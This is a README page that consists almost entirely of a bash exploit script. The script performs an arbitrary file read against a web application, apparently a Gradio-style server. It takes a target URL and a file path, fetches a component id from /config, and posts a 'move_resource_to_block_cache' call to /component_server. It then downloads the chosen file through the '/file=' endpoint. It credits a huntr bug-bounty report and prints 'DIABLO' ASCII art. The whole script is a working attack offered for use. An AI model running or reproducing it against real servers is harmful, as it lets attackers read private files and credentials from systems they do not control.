README.md
Rendering markdown...
#!/bin/bash
show_help() {
cat << EOF
Usage: $(basename "$0") [-u URL] [-f FILE]
-u, --url Specify the URL.
-f, --file Specify the file.
-h, --help Display this help message and exit.
EOF
}
URL=
FILE=
while [[ $# -gt 0 ]]; do
key="$1"
case $key in
-u|--url)
URL="$2"
shift
shift
;;
-f|--file)
FILE="$2"
shift
shift
;;
-h|--help)
show_help
exit 0
;;
*)
echo "Unknown option: $1"
show_help
exit 1
;;
esac
done
if [[ -z $URL || -z $FILE ]]; then
echo "Both URL and FILE must be provided."
show_help
exit 1
fi
# Get component id
echo "[+] Fetching component id..."
component_id=$(curl -s -X GET "$URL/config" | jq -r '.components[0].id')
echo "[+] Component id: $component_id"
# Post request
echo "[+] Sending POST request..."
post_response=$(curl -s -X POST -H "Content-Type: application/json" -d '{
"component_id": "'"$component_id"'",
"data": "'$FILE'",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}' "$URL/component_server")
echo "[+] POST response: $post_response"
# Extract path
echo "[+] Extracting path..."
temp_path=$(echo "$post_response" | sed 's/"//g')
echo "[+] Temp path: $temp_path"
# Get file
echo "[+] Fetching file content..."
file_content=$(curl -s -X GET "$URL/file=$temp_path")
echo "[+] File content: $file_content"
# ASCII art
cat << "EOF"
______ _________ _______ ______ _ _______
( __ \ \__ __/( ___ )( ___ \ ( \ ( ___ )
| ( \ ) ) ( | ( ) || ( ) )| ( | ( ) |
| | ) | | | | (___) || (__/ / | | | | | |
| | | | | | | ___ || __ ( | | | | | |
| | ) | | | | ( ) || ( \ \ | | | | | |
| (__/ )___) (___| ) ( || )___) )| (____/\| (___) |
(______/ \_______/|/ \||/ \___/ (_______/(_______)
EOF
# Reference
echo "This script was made thanks to the amazing work here: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338"